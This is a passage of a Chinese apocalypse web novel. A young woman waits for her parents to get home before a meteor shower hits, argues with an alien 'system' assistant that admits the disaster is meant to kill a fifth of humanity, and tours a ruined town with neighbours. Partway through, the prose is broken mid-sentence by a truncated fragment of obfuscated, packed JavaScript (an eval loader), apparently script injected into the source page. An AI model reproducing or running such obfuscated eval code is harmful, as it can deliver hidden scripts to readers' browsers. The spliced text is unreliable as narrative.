穆叶透过牙缝吸了口凉气，含含糊糊说：“要不，要不，要不你……” 谢知白听出她有为难的事。 吞吞吐吐的，和那天他们通话时一样。 他放下画笔和颜料盘，从高脚椅上站起来，拿起手机，走到窗前看着外面的世界。 “想让我做什么，就直说吧。” “就是，你能不能跟她们去啊，”穆叶抠着手里的窗帘布，“活动地点在郊外，现在又是雨天，我怕他们聊得高兴，回家太晚会有危险。” 危险？ 谢知白垂眸看向黑屏的手机，他有种直觉，小叶子说的危险并不是指夜间行车危险。 “好，那我一会儿直接去接他们，还有其他要我做的吗？” 他能帮忙盯着爸妈，穆叶已经十分欣喜了。 听到还能满足别的要求，她想了想，小心翼翼问：“那你每隔一段时间就给我发个消息，让我知道你们在哪，行吗？” 谢知白笑了：“行，我会发消息的。” 挂了电话，穆叶脱力倒在床上，休息了会儿，才重新站起来去洗漱。 等之后吃早饭，还是叫奶奶看出了她状态不对。 “怎么心不在焉的，发生什么事了？” 周羽萍把装着草莓糖水的碗推到穆叶面前。 穆叶扯出个勉强的笑容，把爸妈的情况说了说。 周羽萍挥手，“嗨哟，那你找谢家小子盯着他们，事情不是已经解决了吗，还有什么可愁的。” 穆叶舀起一个煮得软烂的草莓，泡在透红的水里，飘来甜甜的气味，送进嘴里草莓立刻就化了。 “我就是担心。” 周羽萍看她那无精打采的模样，起身从杂货间拿出两个空汽油箱放她面前。 “放宽心，不会有事的，明天咱们就出发去云山，把他俩接回来。现在，你出门把这两箱油加满，留着给发电机用，然后多逛逛，看有什么再买点。” 穆叶一想也对，埋头把早餐和糖水吃完，拎着汽油桶出门了。 - 时针无法逆行地转圈。 下午七点，原野烧烤园。 宴会厅里人声鼎沸，天花板上陈旧发暗的红色帷幔被风吹动，二手烟和酒气飘满整个空间。 六中的校长，副校长以及教务处的一些老师，端着饮料轮桌和老师们续旧。 穆诚和谢正澜面前放了只分酒器，一人握着一只小酒杯，举杯敬旁边一起喝酒的男老师。 杨静芮和宋简柔也是满脸喜色，和关系很好的老同事聊着教书时的趣事。 谢知白回完消息，坐直身体，拿起面前装着果粒橙的玻璃杯喝了一口，目光游移在整个宴会厅里。 “谢知白。” 一道清脆的女声喊他，是他妈同事的女儿，今天刚被作为相亲对象介绍给他。 她说：“刚刚开始你就一直发消息，是有什么事吗？” 谢知白露出个浅浅的笑容：“没事，在回朋友的消息。” 握在手里的手机又震动了一下，他吸了口气，手肘支在桌面上，把手机举到眼前，看着消息短促地笑了一下。 穆叶：怎么还喝上酒了，喝酒最耽误时间！ 手指不紧不慢敲下回复信息，谢知白收起手机，继续他的监视任务。 …… 穆叶看着谢知白回复的消息，忍不住打了两个冷颤。 她看向已经漆黑的天空，努力控制心中的恐慌和脑袋里的眩晕感。 他说会注意时间，会安全把爸妈带回家，他是个很认真的人，她应该相信他的。 穆叶放下手机起身，走了两步，又回来把手机揣走。 枯坐着也没用，她该找点事做。 穆叶到室外，换了零下45度可用的玻璃水和防冻液，再用防冻车衣把车盖上。 然后回到客厅，把腌好的香菜牛肉、鸡翅鸡腿一袋袋抽真空封好，把放凉的草莓糖水装罐。 拧盖子时，她手抖得只能借助工具。 她每半小时就给谢知白发一次消息，虽然知道这样很烦人，但不掌握爸妈的情况，她心里七上八下，什么都干不了。 还好谢知白不厌其烦回复她。 直到9点半，他们终于散场，准备回家了。 …… 谢知白负责开车。 他坐进驾驶座，拿手机调出导航，等所有人都上车坐稳，就点火驶出了原野烧烤园。 回去不像来时那么顺利，开到在建的高架桥下那段路时，地面上落满了从渣土车上掉下来的碎石和土块。 “这路…颠…死了，怎么没人管管…这些渣土车！”穆诚抱怨。 杨静芮说：“这里是开发区，本来…这些建设和管理…就没到位。” 说着，他们开过了颠簸路段。 刚要感到高兴，两旁的路灯就开始闪烁， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他和谢正澜换了位置，坐到副驾驶上给谢知白当人工导航。 “前面这个路口，对就是这，左转。” 信号灯坏了，谢知白放慢速度观察后，才慢慢转过去。 穆诚：“单向只有一条车道，旁边是非机动车道，咱们慢点开不急。再过两个路口，到主路了就会好开很多，一会儿就能到家。” 谢知白点点头，平稳地开过第一个路口。 但距离第二个路口还有二、三十米时，他们就发现了问题。 前面因为缺少信号灯指引，发生了四车相撞的事故。 一辆白色轿车为了避开事故现场，左转却开上了路中间的隔离花坛。 十字路口每个方向都有来车，还有车试图调头的，这个事故多多的路口现在被堵得水泄不通，像是缠死的毛线团。 “哎呦，这，”穆诚拍了下大腿，歪着身子从车缝间看，“怎么这都能堵起来，这些没素质的人啊！” 说罢，他拿起脚边的伞，推门要过去疏导交通。 谢知白试图阻止：“叔叔，别去了！叔叔！” 车门“砰”地关上，杨静芮看着自家丈夫，恨恨地说了句多管闲事。 宋简柔拉起她的手，“哎，老穆也是热心肠，他去疏导交通说不定一会儿路就畅通了。” 仪表盘上的时间不停跳动，22:48了。 谢知白使劲闭了闭眼，手摸在安全带扣子上，打算三分钟内穆诚不回来，他就下车找他。 不到三分钟，穆诚打着伞从前车侧面走回来，开门上车。 他收好伞，讪讪说：“那些司机都不听我的，本来听我指挥马上就能解决问题，他们非要等交警来，怎么那么死板！” 杨静芮翻了个白眼：“早说了让你别去，这就叫自讨没趣。” 谢正澜也把头伸到前面看：“这雨眼看要下大了，等交警要等到什么时候啊？” “肯定要很久，所以我们不等了。”谢知白说。 他从右视镜看了看后方，打满方向盘，从侧面一点空隙处挤到无人的非机动车道上。 又开了几米，从一个岔路口转进旁边的村子里。 村里道路曲折，导航也用不了。 好在知道主路要往东北方向开，在经过了数不清的左转右转后，他们终于离开村子，开到主路上。 现在时间是23:09。 - 穆叶快急死了。 一个多小时前，就联系不上谢知白了。 发消息不回，打电话又不在服务区，报警电话都拨好了，又怕他们只是信号不好，于是忍了又忍。 周羽萍还在收拾树屋，搬着拆完不要的包装袋扔下楼。 回来看见穆叶还坐在窗前，她走过来扶着穆叶的肩膀：“怎么样了，还是没消息？” 穆叶回头，看见奶奶脸上深深的担忧，心里忽然生出一股强烈的愧疚。 说什么要打造安全屋，创造让一家人在末世生活的良好条件，到头来整理物资、照顾良田都是奶奶做的更多。 现在她藏不住情绪，又让奶奶跟着担忧，还要安慰她。 穆叶扑进奶奶怀里抱了一会儿，平复心情后，把床上的枕头被子抱起来，带着周羽萍进入树屋。 她把东西放在沙发上，对周羽萍说：“奶奶，今晚我们都住树屋，一会儿你洗漱好就直接进来。” 周羽萍拉住她的手：“那你呢？” “我再等等，”她回握住奶奶温暖的手，“他们去的地方在郊区，估计信号不好，也许一会儿谢知白就回电话了，只要他们倒计时结束前回家，就一定不会有事。” 周羽萍点点头，放手让她出去。 穆叶回窗边坐下。 十分钟后，停电了。 村里人大多睡得早，穆叶家附近只有几户人发现停电的情况，纷纷打开手机电筒照亮。 穆叶取来一只应急蜡烛点燃，端着来到楼梯下的电箱前，查看是否推上电闸开关就能来电。 然而并不是，这是区域性断电，应该是供电线路出了问题。 她把厨房燃气阀门关闭，回到卧室，拿起床头的闹钟，设置了一个12点的提醒。 越是纯机械，越简单的东西，这种时候就越可靠。 穆叶静坐在窗下烛光前，手机点亮放在柜子上，就这样全神贯注等待消息。 十分钟后，她终于接到了谢知白的电话，现在是23:45。 “喂，你们到家了吗？”她慌乱地接起电话，迫不及待问。 “还没，我们还……”谢知白的声音出现了一瞬，又消失了。 通话还在继续中，但是没有声音，只有记录通话时长的时间，在一秒一秒地增加。 穆叶僵在原地，一股寒意从头到脚把她笼罩。 22. 第 21 章 谢知白主动挂了电话，但没过两分钟又重新打来了。 穆叶伸出发软的手指，点了一下接通。 谢知白：“刚刚又没信号了，我看你打了很多个电话，肯定等着急了吧。” 穆叶的耳膜还在延续着刚刚心跳的节奏，“咚咚”地响着，嘴巴却先问出了她最关心的问题： “你们到家了吗？” 谢知白看着倒数25秒的信号灯，“在最后一个路口等绿灯，快了。” 身后，四位家长凑过头来，七嘴八舌问他在和谁打电话。 谢知白抬手碰了碰耳机，轻声说：“小叶子。” 宋简柔拍拍杨静芮的手，“哦呦，这会儿他俩还打电话呢！” 杨静芮捂嘴笑：“小白你和她说，要照顾奶奶就别熬夜啦，早点去睡觉。” 穆诚回头看老婆：“年轻人谁不熬夜的？咱别管他们年轻人的事……” “哈哈哈哈……” “我有把叔叔阿姨安全带回家，你可以放心了，”谢知白忽略耳畔的笑声，对穆叶说，“那我就挂电话了？” “别别别，别挂电话，”穆叶阻止，“没听见你们进家门，我不安心，我睡不好觉的。” 谢知白挑眉，没有拒绝。 听筒里传来雨落在车顶的声音，家长们的零碎的说笑声，还有男人浅浅的呼吸声。 穆叶看了眼闹钟，离12点还有10分钟。 还有时间，还来得及。 过了路口，再往前开一百米，金橡小区就在右边，谢知白转进地下车库，入场升降杆抬起。 “亲爱的业主，欢迎回家！” 听见这一声，穆叶用拳头抵住心脏，仰头长长的舒了口气。 车位距离他们单元的入户门还有段距离，谢知白停好车，打开后备箱，把白天两家摘的三篮草莓和两袋白萝卜，拿到车前的地上放好。 杨静芮和宋简柔过来分草莓。 “这篮草莓大，让小白拿回去。” “哎呀不用，你们拿这篮，他一个男人吃什么草莓？” “要的要的，我们拿这篮……” 她俩的闲聊，被不稳定的信号切割成一段一段的。 穆叶又看时间，“谢知白，还有4分钟就过零点了，你让她们别聊天了，快回家！” 谢知白虽然不解，但没多问，走过去提起三篮草莓和两袋白萝卜。 “妈、杨阿姨，咱们就住对门，要不上楼再分吧？” “哦好好好。” 谢知白率先走到单元入户门那等，一回头，自己爸妈和穆叶的爸妈正聊得起兴，慢悠悠地走着过来。 …… 闹钟的三个指针都在向12点靠拢。 穆叶忍不住站起来，问电话那边：“你们上楼了吗？” 没有回应，手机信号只剩一格。 穆叶的心又开始七上八下，她不敢挂电话，怕再难打通，只能在房间里到处乱走找信号。 “我们……她们……”谢知白的声音又断断续续传来。 “谢知白？谢知白？” 穆叶打开外放，把手机高高举起，但信号没找到，而是等来了系统的倒数提示。 【距离世界重启还剩30秒……24秒……18秒……12秒……】 “叮铃铃铃……” 闹钟尖锐刺耳地吵了起来，穆叶一把将它拍倒，快步走到窗下站定。 一夜极寒会从哪里开始呢？ 天灾真的来了吗？ 她死死捏着手机，关注着窗外每一道风声和雨声。 好像并没有发生什么……不对，那是什么！ 穆叶瞪大了眼睛，看着天边落下的一点点微红。 微红下一秒就变成了火红，一团团拖着长尾的火焰像是坠落的太阳，发出的光芒把整片天空点亮了。 嗡—— 是风送来的异响。 咚咚—— 是她的心脏想要破开胸膛，在疯狂跳动。 “谢，咳咳，谢知白！留在地下车库，听得见吗？别带他们上楼，留在地下车库躲起来……” 带来绝望而非浪漫的火流星雨迅速下落，大大小小的陨石在穆叶眼里放慢、放大，火光占据她整个瞳孔。 顷刻间，她血色褪尽的脸上就布满了泪水。 “不！不行……怎么会这样？怎么办！” 眼前被强光晃出黑影，穆叶大口吸气，哭声哽在喉咙里，和那口要吸进肺里的气撞在一起。 “活下去，求求你们，一定要、活下去！” 她后退一步，转身，朝着卫生间冲过去，白光照亮室内，照亮她仓惶的身影。 传送门关上的下一刻，陨石砸倒高楼大厦，撞断跨海大桥，碾碎街道楼群……大地震颤，久久不停。 陨石雨下，蓝星无一处幸免。 - 【世界开始重启，末世降临，系统全面解锁。】 【自我介绍一下，我叫米克，是树屋系统配备的辅助者。】 穆叶在榻榻米台阶上醒过来时，耳边响起了系统的声音。 她的眼睛因为熬夜而酸痛，脑袋也昏昏沉沉，有种感冒的预兆，但现在不是管这些的时候。 她翻身爬起来，脚步踉跄了一下，扑倒在还没来得及收拾的打包袋边。 袋子里装着从平津买来的羽绒被，穆叶翻出一条抖开，轻手轻脚给奶奶盖上，又从空间拿出电暖器插上。 现在的树屋里的温度，比昨晚睡前的室温还要低。 昨晚…… 穆叶记得自己看见了漫天飞落的陨石，为了避难于是冲进树屋。 树屋里很平静，奶奶早已进入梦乡，全然不知树屋外的世界正经历着翻天覆地的改变。 穆叶睡不着也不敢睡，简单洗漱后就一直在一楼沙发上坐着，她无数次看向传送门，想出去看看外面的情况，却又担心这场灾难还没结束。 一想到生死不明的爸妈，她就感到心痛，想到奶奶知道后的反应，她就感到自责。 但现实告诉她不该沉溺于悲伤，残酷的末日后世界才刚刚开始。 首当其冲的是气温变化。 到了半夜，树屋内的温度明显下降了。 穆叶记得前几天，室外只有1℃的时候，室内还有9-10℃，然而当她感觉到明显的冷意，拿起树屋终端查看时，室温已经掉到5℃了。 根据她的观察，树屋内的温度，很大一部分取决于室外温度，是某个温度与室外温度中和的结果。 现在早晨醒来室内只有3℃，那室外绝对在-10℃之下。 穆叶换上加厚的保暖内衣、羊绒衫、羊毛袜、手套、口罩、长到小腿的羽绒服、雪地靴、还有羊绒围巾和加绒帽子，试探地推开了门。 门外刮来一阵风，干涩的眼睛瞬间变得更干燥，眨眼都出现了奇怪的粘滞感，脸上没有遮挡的皮肤立刻变得冰凉。 穆叶低头用手挡了挡，忽然觉得奇怪。 哪里来的风？ 下雨她把窗子都关紧了，风会从哪里进来呢？ 推开门往外走，回到卧室，眼前的一幕让她的心脏停跳了三秒。 一条裂缝贯穿卧室两面墙，玻璃碎了四五块，玻璃渣掉得到处都是，有一扇窗连带窗框掉了下来。 整个房子像是被大力晃动过。 床、梳妆柜、衣柜等家具，都不在本来的位置，上面摆放的东西，也都零零碎碎落了一地，窗帘杆也塌了。 但即便窗帘布耷拉着，挡住一大半视野，也很难不注意到，在窗外很远的地方，升起了多股飘向天空的黑烟。 雨停了，但没有太阳，天空是灰黄色的。 穆叶站了好一会儿才接受现实，捡起滑脱的抽屉放在柜子上，走到窗前查看外面的情况。 看方向，那股黑烟像是在西北边，是什么烧起来了吗？ 思索的同时，邻居们吵闹的声音，也清晰地传进她耳朵里。 “救命啊！谁家有酒精纱布，我爸腿被玻璃割伤了！” “昨晚那些是什么，我家窗子都碎了，用木板封窗也不管用，烤火烤了一晚上，天气怎么忽然那么冷啦？” “三婶你家有电没有，我们来烤个火？” “没有啊，谁家有电呐？我们连手机都没信号，想报警问问都打不出去电话呢！” “世柯，去拿炉子和蜂窝煤来烧水煮早饭！他大爷的冷死了，三楼屋顶塌了，水管爆了一地水，这会儿结冰滑死个人。到底怎么回事，村上也不派人来告诉我们一声！” 大多数人并未直观看见陨石雨掉落，只觉得是偶发的灾难，认知还没从生活转向生存。 一声凄厉的哭喊响彻巷头巷尾，穆叶换到另一边窗前，挑起窗帘从缝里看下去。 是隔壁邻居家的大婶杨红莲。 杨红莲穿着黑底金花的棉服，头发凌乱，斜挎的玫瑰压花皮包勒着她的脖子，她滑坐在地上，脸哭得涨红，手里却稳稳地抱着一件羽绒服。 “别拦着我，呜呜，你们别拦我！送我去找阿楠！那么大个石头掉下来，就掉在他住的北边，我要去看他好不好！” 阿楠是她的大儿子，31岁考上了铁饭碗工作，今年刚当上办公室副主任，如今住在县城北边，她一直以这个儿子为荣，逢人就要炫耀一下。 杨红莲的小女儿周家蓉满脸无奈，“不是不带你去，妈，外面什么情况谁都不知道，我怎么敢带你瞎走？” 杨红莲摇头，根本听不进去。 “我不管，你现在就送我去找阿楠，妈知道你对我偏心他有意见，但那是你哥啊！亲哥！” “妈，我没有……” 院子里的大吵大闹，被门外的眼睛看得一清二楚，一个女人牵着两个小孩站在门后。 女人脸上的表情很严肃，像是遇见了什么要命的事。 两个小孩穿得严严实实，一左 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她打量奶奶——周羽萍双目涣散，眉头抬高，鼻翼翕动，脸拉得有些长，鼻沟处延伸出去的深深的皱纹一直到下巴，一副将哭未哭的表情。 穆叶知道，这会儿自己要是没撑住，奶奶的天就彻底塌了。 用柔软的羊绒手套胡乱擦掉周羽萍眼眶里的泪，穆叶端着她的脸，深深吸了一口气： “听我说奶奶，系统是出错了，但陨石落下的时候，我爸妈正和谢家人在地下车库呢。” “地下车库！你记得吗，金橡小区的地下车库墙上挂着人防工程的牌子，这种时候，还有比那更、安全的地方吗？没有了对吧！” 是啊，没有比人防地下车库更安全的地方了。 穆叶忽然多了些信心，周羽萍眼睛也恢复了些神采。 谁也没去计较普通空袭和陨石袭击的差别，也都下意识认定了金橡小区不在陨石的落点附近。 “所以他们肯定没事！我都计划好了，今明两天，我去探路看看情况，你留在家里收拾东西，后天我们就出发去云山找爸妈！” “天气越来越冷，她们肯定不好过，她们需要我们！” “对对对，”周羽萍一下找到了主心骨，自己坐直了，“吃的和保暖的都要多拿点，她们还等着呢，咱们得快点，我现在就去收东西。” 穆叶把奶奶送回树屋，拿出羽绒服给她穿上。 重新回到卧室窗前，她看着楼下的混乱，和一点没消散的黑烟，自言自语道： “这场陨石雨，究竟会夺走多少人的生命？” 【重启初始阶段计划消减蓝星五分之一人口。】 该说机器就是机器吗，蓝星五分之一人口那可是十几亿人，这么庞大的数字在它这好像根本不值一提。 穆叶冷笑道：“米克，你是叫米克吧？” 【没错，宿主。】 “为什么，为什么误导我？”她心里压着一股火。 【不存在误导，系统并没有说过重启的开始是一夜极寒。】 “那为什么让我做那样的梦？” 【那只是一个提醒，因为宿主一开始对重启并不上心。现实与系统本意有些偏差，我愿意为此道歉，但显然提醒也发挥了点作用，让你准备了足够多的生存物资，不是吗？】 “你说什么？道歉？道歉有什么用？道歉能让我爸妈安全活下来吗？” 【无法保证。】 “砰”一声，穆叶锤了下窗户，震掉了些碎玻璃。 【宿主注意安全，小心玻璃划手。】 穆叶深吸口气，“好，那你告诉我这场灾难的源头是什么？世界为什么重启？你又是哪来的，有什么目的？” 【我来自Dora星，是一个文明程度比蓝星高很多的星球。我们监测到宇宙中出现毁灭物质，以摧毁每个星球的文明为目的。我出现在这，就是为了拯救蓝星文明。】 拯救蓝星文明？ 穆叶才不相信它会这么好心，她觉得它在说谎！ “五分之一人口死亡？你就是这么拯救蓝星文明的！” 【我们对文明的理解似乎有偏差，是否需要向宿主说明文明的定义？】 “闭嘴吧！” 穆叶觉得这破系统根本靠不住，她怎么会把希望寄托在这样的谎话精身上，“我不想理你，你也别跟我说话！” 之后系统再来搭话，她都一概无视了。 电力系统这么早崩溃是她没想到的，根据查到的资料，至少要等到-35℃，电力系统才会开始发生故障。 但没想到的事太多了…… 穆叶思索着，一边收拾卧室里还能用的东西，准备带进树屋，忽然听见窗外有人喊话： “欸！有没有人想去看看那块掉下来的大石头？” 23. 第 22 章 “哈……” 王世柯往手上哈了口热气，使劲搓了搓，“车热好了，大家没问题，咱们就出发？” 车里坐着杨红莲的女儿周家蓉、带两个小孩回娘家的周颖心、在县城上班的周逸东，还有穆叶，大家齐声说好。 银色越野车驶出小道，在八角亭处转上大路。 周逸东坐在副驾驶座上，缩头缩脑像只胖鹌鹑，“哥，你开暖气了吗，我怎么还这么冷？” 王世柯无语：“那是穿少了！” 周逸东捏了捏自己的衣服，嘟囔着：“我可是把最厚的衣服全穿身上了，原来庆阳的冬天真不用穿那么多的，我爸说活了半辈子没见过这温度。” 身后探过来一只手，捏着个新的暖宝宝。 周颖心说：“刚给我家俩小孩贴了暖宝宝，多着一个，你要不要？” “哎呦，谢谢颖心姐！” 周逸东接过去，掀起衣服，撕开贴在后背上。 过了一会儿，他才发出舒服的喟叹：“暖和了，活过来了。” 王世柯打方向盘，躲过掉在地上的路灯，“这天气怎么突然这么冷了，这会儿都…零下15度了，手机也没网让我们查查。诶，昨晚我家是被震醒的，起来就忙着封窗封墙、堵水管关水阀燃气闸，你们看见什么没？” 穆叶不说话，周家蓉和周颖心都摇头。 “就是陨石吧。” 周逸东想起漫天红光的场景，又有些不确定。 天上掉陨石是这么个掉法吗？ 王世柯啧啧感叹：“这威力也太吓人了，隔着一个县城，把我们的房子都震裂了。” 他看了眼路边不同程度受损的房屋，“这算是天灾了吧？政府能给咱们修房子的钱吗！” 周逸东摇摇头：“不知道，我现在只希望公司大楼塌了，不然又迟到又没打考勤，黑心老板罚款还要扣全勤奖，我会被气死的。” 周家蓉嗤嗤笑了两声：“公司楼塌了你去哪上班，谁给你发钱生活啊！” 周逸东抓抓脑袋：“金钱和自由二者不可兼得，这班接着上难受，辞了更难受，姐你不懂。” 周家蓉耸肩，她拍了拍王世柯的座位，“世柯，我哥住火车站那边，我们往那去一趟吧。我去看看，要是他那儿能住，就把我妈送来，省得她嚷嚷，烦着呢。” “行，没问题！” 周颖心想去机场。 这次回娘家，她先带着小孩来了，她老公原计划这两天来的，现在陨石把电力系统砸坏了，她得看看机场什么时候恢复运转。 周颖心摸了摸凉得刺骨的玻璃：“虽然天气冷，但好在雨停了，我老公很快就能坐飞机来了。” “哎呦！” “妈呀真腻歪，受不了了！” “你摸，我一身鸡皮疙瘩。” 车里欢声笑语，王世柯咧着嘴，从后视镜里看见夹缝中的穆叶没什么表情，脸色也不太好，问她：“穆叶你呢，有什么想去的地方不？” 穆叶摇头：“我就想看看那块陨石，其他听你们的。” - 车里轻松的氛围，从目睹一场车祸发生开始转变。 因为电力系统损坏，所有红绿灯都停用了。 一辆左转的皮卡车和一辆直行红色轿车相撞，车轮在路上打滑，两辆车抱团冲向路边隔离栏，烟尘四起。 王世柯想停车下去帮忙，下一秒就看见两辆车的司机推门出来。 虽然狼狈了些，但并没受伤。 他松了口气：“哎，我们还是开慢点，多危险啊，咱不差这点时间。” 又开了一段，路面上的冰层明显变厚了，刹车变得有些困难，这会儿刚进县城开了三公里。 周家蓉看见路边有人铲冰，冰碴飞溅。 她刚在想片区域可能积水严重，接着就看见连续路过的四、五个变成冰雕的消防栓。 这些消防栓顶部破裂，层层叠叠堆起了一坨坨冰团，高度堆起来到人的腰，向下则在整个消防栓外形成透明的冰壳，和地面紧紧相连。 看着那些冰团，她甚至能想象出水是怎么一点点喷涌，再一点点凝结成冰，最后在地上连成一片的。 一车人都没再玩笑，心里有共同的感觉： 他们看见的，只是这场灾害的冰山一角，现实情况可能比想象更严峻。 越靠近黑烟升起的地方，房屋受损就越严重，路也不再平坦好走。 电线杆东倒西歪，电线垂落在路中央，行道树的根部撬起，倒在建筑物上。 低矮的房屋门窗全部掉落，连带着一面墙或是一整栋房子塌掉，受伤哭喊的大有人在。 数不清的店招牌和遮雨棚砸在地上，店老板一脸悲戚地用撬棍，撬开被挤压成一团的卷帘门，试图把店里值钱的东西搬出来。 几十层的高楼，玻璃窗全部碎光，楼体微微倾斜，风在楼里穿梭，发出空洞的呜呜声。 一路的景象令他们瞠目结舌，曾经鲜活的街市像是加上了一层灰黑的滤镜。 就这样沉默着，终于到了周逸东公司附近。 通往公司楼下的路，被倒塌的脚手架和坍落的房屋砖块占满，昨夜停在这路边的汽车被埋得严严实实，他们的车过不去。 周逸东让他们停在路边稍等，自己步行进去看一眼。 王世柯照做，在街边停下。 他不敢熄火，眼看仪表盘上的气温从零下15度，变成了零下16度，他的眼皮重重一跳。 等了片刻，周逸东才揣着手小跑回来。 他的表情说不出的复杂，像是为公司大楼倒塌、短期内不用上班而高兴，又像是为不知会如何的未来而迷茫。 谁都没心情说话了。 穆叶看了看其他四人，出声道：“走吧，去机场看看。” - 庆阳县的机场在城边上。 虽然是新建的，但因为楼体中空的部分太多，受到冲击波后，四周的玻璃幕全部炸毁。 承重柱没断，但大半屋顶塌了下来，只有小部分还勉强撑着，为里面的人挡住几阵寒风。 停机坪的地面全部从地下炸开，飞机被冲击波推着，不是侧翻就是撞在一起，机身断裂起火，眼看烧得只剩点骨架了。 小小的、昏暗的机场里滞留着大量游客。 周颖心还没下车，光是看见眼前一幕，听见机场里传来的哭声和骂声，眼睛就发直了。 为了问清情况，王世柯停下车，由穆叶和周家蓉架着周颖心，五人一起走进机场。 机场里人多，温度高出不少，但更先引起人注意的，是空气里弥漫的血腥气。 那是种温热的腥味。 周家蓉扫过远处一片血红，脸一白，扔下周颖心转头扶着门去吐了。 她是指望不上了，周颖心又是根本自主行动不了的状态，他们商量了一下，由周逸东陪她俩原地等，穆叶和王世柯再往里面一探究竟。 王世柯还是有点犹豫，但看穆叶头也不回就往里冲，只能跟上她。 走了几步，血腥味更重了。 面前空地上，全是刚等着包扎伤口的人，一个带着急救标识、顶着头灯的女人，正蹲在一个男人面前，细致地清理着伤口。 王世柯看见穆叶愣了下，转头看向别的地方。 他好奇伸头一看，差点重演了周家蓉的状态。 那男人脸色苍白、满头挂着汗珠，穿着件带血的卫衣。 一条袖子沿着肩线被剪了，露出的手臂上扎满了玻璃，急救的女人每拣出一块，就出现一个血洞，血汩汩涌出来流下去，滴在地面带血的玻璃碴上。 无数痛苦的呻吟声回荡在这里，屋顶还有碎屑在掉落。 又有几个带急救标识的人抬了个担架出来，上面躺着的人被洇血的白布盖着，轻轻放在远处地上。 那旁边，放着一模一样的两块白布。 穆叶紧紧闭了会儿眼睛，才迈步往更里面去。 王世柯冲上去拉住她的手臂，一脸急切：“别去了穆叶，这里……我们……” 穆叶拉下他的手：“这些场景看得人不舒服，但这些救援显然是有组织的，我必须找到负责人，问问现在的情况。没塌的部分空间结构还算稳定，但不是百分百安全，你可以留在这。” 王世柯看着她离去的背影，咬了咬牙还是选择跟上。 往里面又走了一大截，在安检口前，他们找到了组织救援的负责人——机场管理部门的一名普通员工。 她正和别人一起，清点从起火的便利店里抢救出的食物。 穆叶找到她，和她对话，得知现在全城通信和电力全断了。 县里的领导不知道怎么联系，机场负责人还被埋在废墟下。 她原本不当班的，但来机场查看情况时，发现这一片混乱，幸存旅客哭嚎求救，被困废墟的没人管，这才主动组织开展救援。 今天还有很多该上班的人，到现在都没来，不知道是什么情况。 问完，穆叶没多耽误，叫上王世柯走了。 她俩手无缚鸡之力，也不是医生，留在这帮不上多大忙，何况她们还有其他地方要去。 - 虽说现在人们已经很恐慌了，但对末世来说，这还只是开始。 从机场离开后，他们继续前往陨石落点，火车站就在这条路必经的地方。 周家蓉吐得脸色青白，周逸东也不得劲，他俩就和周颖心一起坐后排去了。 穆叶换到副驾驶，一路看着各种情况，在心里盘算着。 之后，他们路过一处看不出模样的加油站。 受到陨石冲击波，从地下储油的部分开始爆炸，整个加油站炸得只剩下一个几米深的坑。 屋顶、加油机、便利店一些货品因为爆炸飞了出去，落得满大街都是。 周围的商店也受到波及。 离得近的，房顶被掀走了，里面桌椅板凳变形，七扭八扭躺在一地碎屑里，墙壁像是经历过枪林弹雨，全是飞溅物砸出的孔洞。 柏油路面也鼓了起来，高低起伏像是海上的波浪，中间断开一条缝，一直延伸到远处，撕裂路面变成无数裂纹和坑洼。 穆叶一行人忍耐着钻进车里的刺鼻烧焦味，避开被掀翻、抛飞的汽车。 绕过不少走不通的烂路，好不容易才看见残破、千疮百孔的火车站。 这里离陨石落点更近，情况也更为惨烈。 候车厅部分垮塌、多处起火、浓烟笼罩，轨道上列车侧翻、铁轨弯折。 原始设计里承重和装饰的梁柱，现在将倒未倒，成为最容易引发次生危害的不确定因素。 再往前两公里，就是周家楠住的新航小区，他在不远处的医保中心上班。 车慢慢靠近新航小区，周家蓉下意识屏住呼吸。 太可怕了！ 几栋31层的住宅楼垮塌得只剩一半，斜压在其他还算直立的楼体上，整块地基下沉，与小区外的地面产生明显高低差，随时可能继续倾倒。 贴片在楼外的橙粉色瓷砖，把下面被掀翻的电动车、汽车砸烂，电瓶受损，起火冒烟。 小区外围的草丛里，躺着数不清的破烂的空调外机，像是一群被射落的白鸟。 路边全是受伤流血、神色凝重、一脸焦灼、抱团取暖、痛哭流涕的幸存居民。 车还没停稳，周家蓉的手就放在车门把手上了，她的眼睛快速转着，在人群中寻找自己的哥哥。 还好！还好！ 她看见坐在路边失神的男人。 车一停下，周家蓉就下车，冲到哥哥面前半跪着，查看他的情况。 确认他没事后，她像个小女孩那样扑进哥哥的怀里哭了起来。 周家楠被妹妹唤回意识，愣愣看她半晌，才反抱住她，一直压在心里的情绪终于释放出来。 “家蓉！妹妹！你怎么来了？我差点……差点就……”他哭得一把鼻涕一把泪。 陨石落地的瞬间，巨大的冲击波瞬间挤压他的身体，家里的一切散落、破碎，一整面落地窗直直掉出楼外。 整栋楼剧烈晃动，好不容易停下了，他到只剩个洞的窗边探头往下看时，脚下又开始晃动，后面垮塌的楼撞了上来，他差一点没拉住，就离开这个世界了。 他算是运气好，跑了出来，但还有不少平时眼熟的邻居，一直没见踪影，他宁愿他们是在楼层深处好好躲着。 俩人抱头痛哭。 车里，穆叶看见王世柯擦了擦眼角。 他吸了下鼻子，下车到后备箱里拿出周家蓉带来的羽绒服，走过去递给他们。 周家蓉扶周家楠起来，帮他穿上羽绒服。 她对王世柯说：“我哥要跟我们回去，世柯你看？” 周家楠没有超绝使命感，不打算去单位报道。 他比周逸东了解陨石的破坏力，工作多年培养出的敏锐感受力也告诉他，必须先保住自己和家人，有余力再考虑救助别人。 他现在就要跟妹妹回家。 王世柯刚想说六个人超载了，但又立马想到现在已经没人管超载了，苦笑了一下说：“我没问题，咱们挤挤就走了。” 三人一道往车边走，路边其他居民又露出茫然无助的表情。 忽地，路对面的餐馆里发出一声闷响，破损的门窗缝隙里逸出火光。 下一刻，门窗碎石砖片就被炸飞了，火焰夹着黑烟翻涌出来。 “砰、砰、砰……” 以第一家爆炸的餐馆为中心，两边其他餐馆接连发生爆炸，顷刻间，一整条街的小吃店被一条火龙串了起来，街边漏油的汽车也跟着被引爆。 穆叶从第一次爆炸声后，就弯下腰躲了起来。 他们的车离对面不算很近，但她还是感觉到车被气浪顶起来了，爆炸燃烧的味道马上就充斥在车里。 等爆炸结束，再抬起头时，穆叶发现她们正处在可见度极低的烟尘里。 靠左的车窗被砸出蜘蛛裂纹，她看了眼后排两个人，从口袋里掏出N95口罩戴上，推开车门，踉跄地在烟尘里摸索王世柯三人。 “家蓉姐，你们在哪？还好吗？” 